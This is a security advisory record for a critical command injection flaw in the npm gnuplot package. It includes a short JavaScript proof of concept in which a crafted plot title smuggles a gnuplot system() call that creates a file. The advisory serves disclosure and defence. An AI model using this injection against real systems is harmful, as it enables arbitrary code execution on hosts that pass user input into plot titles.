GHSA-cfwc-xjfp-44jg

Source

https://github.com/advisories/GHSA-cfwc-xjfp-44jg

Import Source

https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/09/GHSA-cfwc-xjfp-44jg/GHSA-cfwc-xjfp-44jg.json

JSON Data

https://api.osv.dev/v1/vulns/GHSA-cfwc-xjfp-44jg

Published

2020-09-04T17:19:48Z

Modified

2020-08-31T18:59:23Z

Summary

Command Injection in gnuplot

Details

All versions of gnuplot are vulnerable to Command Injection. The package fails to sanitize plot titles, which may allow attackers to execute arbitrary code in the system if the title value is supplied by a user. The following proof-of-concept creates a testing file in the current directory:

var gnuplot = require('gnuplot');

const title = '"\nset title system("touch testing")\n#';

gnuplot()
.set('term png')
.set('output "out.png"')
.set(`title "${title}"`)
.set('xrange [-10:10]')
.set('yrange [-2:2]')
.set('zeroaxis')
.plot('(x/4)**2, sin(x), 1/x')
.end();

Recommendation

No fix is currently available. Consider using an alternative package until a fix is made available.

Database specific

{
    "cwe_ids": [
        "CWE-77"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-08-31T18:59:23Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
}

References

https://www.npmjs.com/advisories/1440

Affected packages

npm / gnuplot

Package

Name: gnuplot; View open source insights on deps.dev
Purl: pkg:npm/gnuplot

Affected ranges

Type: SEMVER
Events: Introduced

0.0.0

Database specific

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/09/GHSA-cfwc-xjfp-44jg/GHSA-cfwc-xjfp-44jg.json"